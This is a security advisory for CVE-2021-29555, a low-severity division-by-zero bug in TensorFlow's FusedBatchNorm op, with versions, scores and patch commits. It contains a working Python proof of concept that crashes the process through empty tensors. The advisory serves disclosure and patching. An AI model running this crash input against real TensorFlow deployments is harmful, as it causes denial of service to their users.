CVE-2021-29555 – tensorflow

Package

Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.1.4 || >=2.2.0 <2.2.3 || >=2.3.0 <2.3.3 || >=2.4.0 <2.4.2

Severity

Level: Low

CVSS v3.1: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

CVSS v4.0: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS: 0.00015 pctl0.01959

Details

Division by 0 in `FusedBatchNorm` ### Impact An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`: ```python import tensorflow as tf x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32) scale = tf.constant([], shape=[0], dtype=tf.float32) offset = tf.constant([], shape=[0], dtype=tf.float32) mean = tf.constant([], shape=[0], dtype=tf.float32) variance = tf.constant([], shape=[0], dtype=tf.float32) epsilon = 0.0 exponential_avg_factor = 0.0 data_format = "NHWC" is_training = False tf.raw_ops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponential_avg_factor=exponential_avg_factor, data_format=data_format, is_training=is_training) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor: ```cc const int depth = x.dimension(3); const int rest_size = size / depth; ``` Since this is controlled by the user, an attacker can trigger a denial of service. ### Patches We have patched the issue in GitHub commit [1a2a87229d1d61e23a39373777c056161eb4084d](https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Metadata

Created: 2021-05-21T14:23:58Z
Modified: 2024-10-31T20:53:45Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-r35g-4525-29fq/GHSA-r35g-4525-29fq.json
CWE IDs: ["CWE-369"]
Alternative ID: GHSA-r35g-4525-29fq
Finding: F020
Auto approve: 1